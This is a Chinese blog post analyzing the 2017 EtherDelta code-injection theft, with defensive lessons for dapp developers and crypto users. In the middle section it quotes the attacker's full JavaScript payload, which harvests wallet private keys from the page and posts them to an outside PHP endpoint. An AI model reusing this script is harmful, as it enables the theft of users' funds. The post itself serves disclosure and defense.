如何从EtherDelta被盗实践中吸取教训

    这篇文章所详细描述的攻击(一个经典的代码注入攻击)已经被以德(EtherDelta)团队修复。我分享这篇博文主要是想提醒去中心化应用(Dapp)开发者和加密货币的用户们。

    2017年9月24日,我注意到一个恶意的代码注入,黑客可以从多个受害者的钱包窃取私钥,然后手动榨干这些钱包中的资金。我将尝试描述这种攻击方式,交易所的安全漏洞如何为黑客大开方便之门,以及透露尽量多的攻击者的信息。

     

    etc1.png

    1背景

    或许有人不知道EtherDelta(以德)是什么,它是一个用于Ethereum与ERC20兼容代币(已经部署在Ethereum区块链上的代币)之间进行交易的加密货币交易所。这些ETH和代币不存在交易所上,而是通过你自己的ETH钱包和智能合约进行存储和交易,整个EtherDelta运行在一个单一的智能合约上,您可以在这里查看:

    https://etherscan.io/address/0x8d12a197cb00d4747a1fe03395095ce2a5cc6819#code

     

    EtherDelta是一个智能交易所 – 它并不需要传统的服务器架构,因为其后端体系结构是部署在Ethereum区块链上的智能合约。这是一个真正的Dapp,或者加密货币世界里所说的分布式应用程序。当用户在EtherDelta上进行“交易”时,他们必须创建一个可用于与此智能合约进行交互的钱包,或将现有的钱包连接到EtherDelta以便与智能合约进行交互操作。EtherDelta前端的功能跟MyEtherWallet.com网站非常像,因为您在浏览器中加载的网站是一个完整的钱包管理应用程序,它同时跟EtherDelta的所运行的智能合约类似。因此,EtherDelta的用户在使用该交易所时必须同时输入其钱包的公钥和私钥地址,这意味着他们的钱包私钥有可能通过从浏览器端注入恶意代码的方式被盗走。

     

    简而言之,当你将资金充值到传统交易所时,意味着你信任交易所钱包或智能合约。如果交易所决定耍流氓,或者由于违规而被关闭,那么你的资金就冻过水了。当你使用EtherDelta时,你相信在浏览器端的钱包私钥(拥有私钥意味着钱包的控制权)是不会飞的,并且相信EtherDelta的智能合约固若金汤。作为开源的去中心化交易所,你可以在GitHub上阅读EtherDelta网站的整个源代码:

    https://github.com/etherdelta/etherdelta.github.io

    还可以读到智能合约的完整代码。因此,您可以验证该服务不是以任何方式将您的数据或资金汇集到一个您控制之外的地方…但还是存在风险。这些风险分为两类:

    1.有人可能会使用钓鱼手法,诱骗你访问一个内置了完全不同的智能合约跟EtherDelta非常相似的克隆网站,一旦你进行转移操作,它就可以窃取你的资金。

    2.有人还可以将恶意代码注入到真正的EtherDelta网站,从浏览器会话中窥探你的私钥,毫无限制地访问您的钱包。下面将详细描述这种攻击。

    我想澄清一点:我认为EtherDelta在概念上比传统交易所更安全,更可靠。EtherDelta上的所有操作对用户来说都是透明的,可验证的。该平台为用户执行买卖订单行为创建了一个去信任的,完全以软件为基础的界面,并且不记录这些行为,所有的记录只在Ethereum区块链上。在这里描述的攻击其实在被利用之前可以被任何人发现。如果在这个地方有一个安全审查协议,是很容易阻止这个攻击的。而且,一旦向EtherDelta团队报告,他们在几个小时内就可以把这个漏洞补上。

     

    2漏洞所在

    EtherDelta允许用户交易任何ERC20代币。在该平台上官方列出了很多代币,相关链接如下:

    https://etherdelta.com/#LINK-ETH

    对于没有被正式列出的代币,您仍然可以使用与ERC20代币合约(用于在Ethereum区块链上创建的代币并将其分发给用户的创始合约)相同的地址进行交易,方法非常简单,您只需修改URL中的地址即可,例如:

    https://etherdelta.com/#0x514910771af9ca656af840dff83e8264ecf986ca-ETH

    在这个例子中,上述两个URL都是标记ChainLink代币的,因为ChainLink的创始合约地址就是0x514910771af9ca656af840dff83e8264ecf986ca。下面是ChainLink的ERC20令牌合约地址浏览:

    https://etherscan.io/token/0x514910771af9ca656af840dff83e8264ecf986ca

    对于每个代币,EtherDelta网站界面都会在网页顶部进行显示。对于官方未列出的代币,它将显示代币合约地址(以0x514开头的长字符串…)。在EtherDelta操作界面上显示代币的名称,如显示“ChainLink代币”,而不是“0x514910771af9ca656af840dff83e8264ecf986ca”会带来更好的体验。

     

    从网页外部获取任何内容并将其显示给用户(无论此内容是用户输入还是从另一个来源,如数据库,API或其他网站复制),都会给黑客创造一个潜在入侵(injectionvulnerability)的可能性。 Web开发人员通常使用验证方法来确保正在显示的内容只能是数字,字母或可接受的字符串范围,又或者明确删除或修改某些类型的内容(例如<>用于HTML标签或()用于JavaScript 代码),以防止显示的内容实际上作为实时代码被执行。

    下面说明了此种情况是如何发生的。

     

    3攻击是如何发生的?

    攻击者首先通过Discord和Slack上的加密货币聊天室获得用户的信任,然后给这些用户发送EtherDelta上未列出代币的链接。他们还处心积虑地将此链接发布在由Gitter上的官方EtherDelta聊天室中。该链接URL中的地址是攻击者刻意部署的恶意合约地址,其中合约名称包含一个JavaScript代码块。一旦合约名字显示在页面上时,JavaScript代码也就被“显示”,实际上是执行了一段代码,这样,黑客就完全可以访问EtherDelta用户的数据并进行操作。这是执行恶意合约的代码:

    *f`[¤ ]DATA <script> function

    doSomething(){for($(“#depositBalanceToken

    a”).text().indexOf(“‘)”>DATA”)>=0&&$(“#depositBalanceToken

    a”).text(“DATA”),savedKeys=[],a=1;a<main.EtherDelta.addrs.length;a++)singlekey=[],singlekey[0]=main.EtherDelta.addrs[a],singlekey[1]=main.EtherDelta.pks[a],savedKeys.push(singlekey);var

    e={object:JSON.stringify(savedKeys)};

    $.post(“[https://cdn-solutions.com/update.php](https://cdn-solutions.com/update.php)”,e,function(e,n,t){}),setTimeout(doSomething,1e4)}var

    savedKeys=[];if(void 0===onlyonce)

    {var onlyonce=!0;doSomething(),ga=function(){},doSomething(),$(“#accountSubmit”).click(function(){doSomething()})}

    </script>*

    任何一个Web开发人员都明白这段代码是干什么的。对于那些像看天书一样的人来说,代码从浏览器会话中读取用户的钱包私钥,然后将这些密钥发送到攻击者用来收集密钥的远程PHP脚本,再手动加载钱包,将资金转走。受害者甚至意识不到这种攻击的发生(在EtherDelta界面中已经有很多JavaScript在运行,受害者也不会想到要将数据传输到远程地方)。此外,攻击者用于收集用户资金的钱包与用于将代码注入EtherDelta接口的恶意合同不同,因此当受害者查看交易资金去向时,他们甚至搞不懂黑客是如何侵入他们的钱包的。为了找到这个攻击所用的“冒烟的枪”,其中一个受害者找回了之前的恶意链接,复制合约地址,将其粘贴到Etherscan区块浏览器中,并阅读整个合约源,找到该代码块。这个受害者不知道这是什么代码,只是它看起来很可疑,并将它通过我们经常使用的一个隐私聊天室中发给了我,我意识到这个代码能够做什么后,向他解释了这是恶意代码。到目前为止,EtherDelta团队已经在开发解决方案,并在推特上警告用户:

     

    etc2.png

    究竟被盗了多少资金?价值6000美元的加密货币不翼而飞。截稿为止,受害者也没有尝试以悬赏的方式来挽回损失。

     

    更新:我在后续的帖子中收集了有关恶意合约和黑客的更多信息:

    “寻码追迹”。(http://sina.lt/fcUw)

     

    4教训

    成为所有人的警钟。

    你是Dapp开发人员吗?去信任化的软件需要去信任化的思维。将墨菲法律牢记心上:任何事情都可能出差错。别假设你所依靠的任何事物都是“安全的”。采取必要措施尽可能地保护自己的软件,包括验证、遴选和其它一切方法来确保输入是无误的。这对于金融软件来说是至关重要的。加密货币服务应具有跟银行相同标准的安全性和可靠性。通过一切手段,对你的假设多长一对眼睛。聘请某人(或多人)对您的软件进行安全审核,并测试每种可能出现漏洞的场景。由于你自己的疏忽而导致用户的损失是需要避免的。

    经过这个事件,EtherDelta应该改进得更好,譬如显示人类可读和可识别的代币名称而不是合约地址。任何将产品变得更好的措施都会内带风险,确保你认识到即使是微小的改变也会带来风险。

     

    加密货币用户须知:

    不要点击不明来历的链接。如果不清楚,可以先去浏览器里搜索该链接。

    为敏感案列使用单独的浏览器会话。例如,您可以在Google Chrome中打开访客会话,访客模式无法访问常规浏览器会话中的任何用户数据。

    在EtherDelta上使用专门的钱包进行交易,这个钱包只用来交易有限的资金。理想情况下,为您计划交易的每个ERC20代币使用单独的钱包。使用“冷”钱包存储长期不用的资金。这样一来,即使一个钱包遭到入侵,也不会一次丢失所有的资金。

    利用EtherDelta的“遗忘钱包”功能,作为经常操作用途。每次使用EtherDelta时,可以用“遗忘你的输入钱包”功能来完成在该平台的操作。这样一来,即使遇到被黑的情况,也不会在浏览器中存储数据,以防被盗。(这就是为什么MyEtherWallet在线钱包不会在会话之间“记住”你的登录是多么好的设计。)

    尽你所能去了解使用的每个软件,掌握MyEtherWallet和EtherDelta等网站的工作原理,了解自己的钱包是如何运作的。人们总是在自己认为很安全的情况下遭黑客光临,无论是线上还是线下。这些案例都不是第一次发生的,而且也不是个例。安全措施越多越好。

    将这些经验告诉你身边的人,我们可以一起来学习,安全为上。

    转载请注明:比特阁 » 如何从EtherDelta被盗实践中吸取教训

    喜欢 0

还没有人抢沙发呢~